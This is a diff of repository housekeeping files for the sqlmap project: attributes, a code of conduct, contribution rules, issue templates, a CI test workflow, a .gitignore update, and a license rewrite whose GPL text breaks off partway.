diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 00000000000..a99321d231b --- /dev/null +++ b/.gitattributes @@ -0,0 +1,27 @@ +*.conf text eol=lf +*.json text eol=lf +*.html text eol=lf +*.md text eol=lf +*.md5 text eol=lf +*.pl text eol=lf +*.py text eol=lf +*.sh text eol=lf +*.sql text eol=lf +*.txt text eol=lf +*.xml text eol=lf +*.yaml text eol=lf +*.yml text eol=lf +LICENSE text eol=lf +COMMITMENT text eol=lf + +*_ binary +*.dll binary +*.pdf binary +*.so binary +*.wav binary +*.zip binary +*.x32 binary +*.x64 binary +*.exe binary +*.sln binary +*.vcproj binary diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md new file mode 100644 index 00000000000..2a36badf3f6 --- /dev/null +++ b/.github/CODE_OF_CONDUCT.md @@ -0,0 +1,46 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md new file mode 100644 index 00000000000..2ae80685613 --- /dev/null +++ b/.github/CONTRIBUTING.md @@ -0,0 +1,36 @@ +# Contributing to sqlmap + +## Reporting bugs + +**Bug reports are welcome**! +Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues). + +### Guidelines + +* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. +* Make sure you can reproduce the bug with the latest development version of sqlmap. +* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. +* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* + +## Submitting code changes + +All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). + +Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests). +Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next! + +### Guidelines + +In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: + +* Each patch should make one logical change. +* Avoid tabbing, use four blank spaces instead. +* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org). +* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. +* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests. +* Style that is too different from main branch will be ''adapted'' by the developers side. +* Do not touch anything inside `thirdparty/` and `extra/` folders. + +### Licensing + +By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 00000000000..e6b299956eb --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1 @@ +github: sqlmapproject diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 00000000000..0a2d0fe4aea --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,37 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: bug report +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +1. Run '...' +2. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Running environment:** + - sqlmap version [e.g. 1.7.2.12#dev] + - Installation method [e.g. pip] + - Operating system: [e.g. Microsoft Windows 11] + - Python version [e.g. 3.11.2] + +**Target details:** + - DBMS [e.g. Microsoft SQL Server] + - SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind] + - WAF/IPS [if any] + - Relevant console output [if any] + - Exception traceback [if any] + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 00000000000..e301d68ce74 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: feature request +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml new file mode 100644 index 00000000000..25100961dcd --- /dev/null +++ b/.github/workflows/tests.yml @@ -0,0 +1,31 @@ +on: + push: + branches: [ master ] + pull_request: + branches: [ master ] + +jobs: + build: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, macos-latest, windows-latest] + python-version: [ 'pypy-2.7', '3.8', '3.14' ] + exclude: + - os: macos-latest + python-version: 'pypy-2.7' + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 1 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python-version }} + - name: Basic import test + run: python -c "import sqlmap; import sqlmapapi" + - name: Smoke test + run: python sqlmap.py --smoke + - name: Vuln test + run: python sqlmap.py --vuln diff --git a/.gitignore b/.gitignore index 5bfc69f1f71..1f7f94a3b1e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,8 @@ -*.pyc output/ +__pycache__/ +*.py[cod] +.sqlmap_history +traffic.txt +*~ +req*.txt +.idea/ \ No newline at end of file diff --git a/doc/COPYING b/LICENSE similarity index 78% rename from doc/COPYING rename to LICENSE index 38be04172bf..cc0480cafb4 100644 --- a/doc/COPYING +++ b/LICENSE @@ -1,340 +1,348 @@ - GNU GENERAL PUBLIC LICENSE - Version 2, June 1991 - - Copyright (C) 1989, 1991 Free Software Foundation, Inc. - 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -License is intended to guarantee your freedom to share and change free -software--to make sure the software is free for all its users. This -General Public License applies to most of the Free Software -Foundation's software and to any other program whose authors commit to -using it. (Some other Free Software Foundation software is covered by -the GNU Library General Public License instead.) You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -this service if you wish), that you receive source code or can get it -if you want it, that you can change the software or use pieces of it -in new free programs; and that you know you can do these things. - - To protect your rights, we need to make restrictions that forbid -anyone to deny you these rights or to ask you to surrender the rights. -These restrictions translate to certain responsibilities for you if you -distribute copies of the software, or if you modify it. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must give the recipients all the rights that -you have. You must make sure that they, too, receive or can get the -source code. And you must show them these terms so they know their -rights. - - We protect your rights with two steps: (1) copyright the software, and -(2) offer you this license which gives you legal permission to copy, -distribute and/or modify the software. - - Also, for each author's protection and ours, we want to make certain -that everyone understands that there is no warranty for this free -software. If the software is modified by someone else and passed on, we -want its recipients to know that what they have is not the original, so -that any problems introduced by others will not reflect on the original -authors' reputations. - - Finally, any free program is threatened constantly by software -patents. We wish to avoid the danger that redistributors of a free -program will individually obtain patent licenses, in effect making the -program proprietary. To prevent this, we have made it clear that any -patent must be licensed for everyone's free use or not licensed at all. - - The precise terms and conditions for copying, distribution and -modification follow. - - GNU GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License applies to any program or other work which contains -a notice placed by the copyright holder saying it may be distributed -under the terms of this General Public License. The "Program", below, -refers to any such program or work, and a "work based on the Program" -means either the Program or any derivative work under copyright law: -that is to say, a work containing the Program or a portion of it, -either verbatim or with modifications and/or translated into another -language. (Hereinafter, translation is included without limitation in -the term "modification".) Each licensee is addressed as "you". - -Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running the Program is not restricted, and the output from the Program -is covered only if its contents constitute a work based on the -Program (independent of having been made by running the Program). -Whether that is true depends on what the Program does. - - 1. You may copy and distribute verbatim copies of the Program's -source code as you receive it, in any medium, provided that you -conspicuously and appropriately publish on each copy an appropriate -copyright notice and disclaimer of warranty; keep intact all the -notices that refer to this License and to the absence of any warranty; -and give any other recipients of the Program a copy of this License -along with the Program. - -You may charge a fee for the physical act of transferring a copy, and -you may at your option offer warranty protection in exchange for a fee. - - 2. You may modify your copy or copies of the Program or any portion -of it, thus forming a work based on the Program, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) You must cause the modified files to carry prominent notices - stating that you changed the files and the date of any change. - - b) You must cause any work that you distribute or publish, that in - whole or in part contains or is derived from the Program or any - part thereof, to be licensed as a whole at no charge to all third - parties under the terms of this License. - - c) If the modified program normally reads commands interactively - when run, you must cause it, when started running for such - interactive use in the most ordinary way, to print or display an - announcement including an appropriate copyright notice and a - notice that there is no warranty (or else, saying that you provide - a warranty) and that users may redistribute the program under - these conditions, and telling the user how to view a copy of this - License. (Exception: if the Program itself is interactive but - does not normally print such an announcement, your work based on - the Program is not required to print an announcement.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Program, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Program, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Program. - -In addition, mere aggregation of another work not based on the Program -with the Program (or with a work based on the Program) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may copy and distribute the Program (or a work based on it, -under Section 2) in object code or executable form under the terms of -Sections 1 and 2 above provided that you also do one of the following: - - a) Accompany it with the complete corresponding machine-readable - source code, which must be distributed under the terms of Sections - 1 and 2 above on a medium customarily used for software interchange; or, - - b) Accompany it with a written offer, valid for at least three - years, to give any third party, for a charge no more than your - cost of physically performing source distribution, a complete - machine-readable copy of the corresponding source code, to be - distributed under the terms of Sections 1 and 2 above on a medium - customarily used for software interchange; or, - - c) Accompany it with the information you received as to the offer - to distribute corresponding source code. (This alternative is - allowed only for noncommercial distribution and only if you - received the program in object code or executable form with such - an offer, in accord with Subsection b above.) - -The source code for a work means the preferred form of the work for -making modifications to it. For an executable work, complete source -code means all the source code for all modules it contains, plus any -associated interface definition files, plus the scripts used to -control compilation and installation of the executable. However, as a -special exception, the source code distributed need not include -anything that is normally distributed (in either source or binary -form) with the major components (compiler, kernel, and so on) of the -operating system on which the executable runs, unless that component -itself accompanies the executable. - -If distribution of executable or object code is made by offering -access to copy from a designated place, then offering equivalent -access to copy the source code from the same place counts as -distribution of the source code, even though third parties are not -compelled to copy the source along with the object code. - - 4. You may not copy, modify, sublicense, or distribute the Program -except as expressly provided under this License. Any attempt -otherwise to copy, modify, sublicense or distribute the Program is -void, and will automatically terminate your rights under this License. -However, parties who have received copies, or rights, from you under -this License will not have their licenses terminated so long as such -parties remain in full compliance. - - 5. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Program or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Program (or any work based on the -Program), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Program or works based on it. - - 6. Each time you redistribute the Program (or any work based on the -Program), the recipient automatically receives a license from the -original licensor to copy, distribute or modify the Program subject to -these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties to -this License. - - 7. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Program at all. For example, if a patent -license would not permit royalty-free redistribution of the Program by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Program. - -If any portion of this section is held invalid or unenforceable under -any particular circumstance, the balance of the section is intended to -apply and the section as a whole is intended to apply in other -circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system, which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 8. If the distribution and/or use of the Program is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Program under this License -may add an explicit geographical distribution limitation excluding -those countries, so that distribution is permitted only in or among -countries not thus excluded. In such case, this License incorporates -the limitation as if written in the body of this License. - - 9. The Free Software Foundation may publish revised and/or new versions -of the General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - -Each version is given a distinguishing version number. If the Program -specifies a version number of this License which applies to it and "any -later version", you have the option of following the terms and conditions -either of that version or of any later version published by the Free -Software Foundation. If the Program does not specify a version number of -this License, you may choose any version ever published by the Free Software -Foundation. - - 10. If you wish to incorporate parts of the Program into other free -programs whose distribution conditions are different, write to the author -to ask for permission. For software which is copyrighted by the Free -Software Foundation, write to the Free Software Foundation; we sometimes -make exceptions for this. Our decision will be guided by the two goals -of preserving the free status of all derivatives of our free software and -of promoting the sharing and reuse of software generally. - - NO WARRANTY - - 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY -FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN -OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES -PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED -OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS -TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE -PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, -REPAIR OR CORRECTION. - - 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR -REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, -INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING -OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED -TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY -YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER -PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE -POSSIBILITY OF SUCH DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - - -Also add information on how to contact you by electronic and paper mail. - -If the program is interactive, make it output a short notice like this -when it starts in an interactive mode: - - Gnomovision version 69, Copyright (C) year name of author - Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, the commands you use may -be called something other than `show w' and `show c'; they could even be -mouse-clicks or menu items--whatever suits your program. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the program, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the program - `Gnomovision' (which makes passes at compilers) written by James Hacker. - - , 1 April 1989 - Ty Coon, President of Vice - -This General Public License does not permit incorporating your program into -proprietary programs. If your program is a subroutine library, you may -consider it more useful to permit linking proprietary applications with the -library. If this is what you want to do, use the GNU Library General -Public License instead of this License. +COPYING -- Describes the terms under which sqlmap is distributed. A copy +of the GNU General Public License (GPL) is appended to this file. + +sqlmap is (C) 2006-2026 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. + +This program is free software; you may redistribute and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation; Version 2 (or later) with the clarifications and +exceptions described below. This guarantees your right to use, modify, and +redistribute this software under certain conditions. If you wish to embed +sqlmap technology into proprietary software, we sell alternative licenses +(contact sales@sqlmap.org). + +Note that the GPL places important restrictions on "derived works", yet it +does not provide a detailed definition of that term. To avoid +misunderstandings, we interpret that term as broadly as copyright law +allows. For example, we consider an application to constitute a "derived +work" for the purpose of this license if it does any of the following: +* Integrates source code from sqlmap. +* Reads or includes sqlmap copyrighted data files, such as xml/queries.xml +* Executes sqlmap and parses the results (as opposed to typical shell or + execution-menu apps, which simply display raw sqlmap output and so are + not derivative works). +* Integrates/includes/aggregates sqlmap into a proprietary executable + installer, such as those produced by InstallShield. +* Links to a library or executes a program that does any of the above + +The term "sqlmap" should be taken to also include any portions or derived +works of sqlmap. This list is not exclusive, but is meant to clarify our +interpretation of derived works with some common examples. Our +interpretation applies only to sqlmap - we do not speak for other people's +GPL works. + +This license does not apply to the third-party components. More details can +be found inside the file 'doc/THIRD-PARTY.md'. + +If you have any questions about the GPL licensing restrictions on using +sqlmap in non-GPL works, we would be happy to help. As mentioned above, +we also offer alternative license to integrate sqlmap into proprietary +applications and appliances. + +If you received these files with a written license agreement or contract +stating terms other than the terms above, then that alternative license +agreement takes precedence over these comments. + +Source is provided to this software because we believe users have a right +to know exactly what a program is going to do before they run it. + +Source code also allows you to fix bugs and add new features. You are +highly encouraged to send your changes to dev@sqlmap.org for possible +incorporation into the main distribution. By sending these changes to the +sqlmap developers or via Git pull request, checking them into the sqlmap +source code repository, it is understood (unless you specify otherwise) +that you are offering the sqlmap project the unlimited, non-exclusive +right to reuse, modify, and relicense the code. sqlmap will always be +available Open Source, but this is important because the inability to +relicense code has caused devastating problems for other Free Software +projects (such as KDE and NASM). If you wish to specify special license +conditions of your contributions, just say so when you send them. + +This program is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License v2.0 for more details at +http://www.gnu.org/licenses/gpl-2.0.html, or below + +**************************************************************************** + + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or 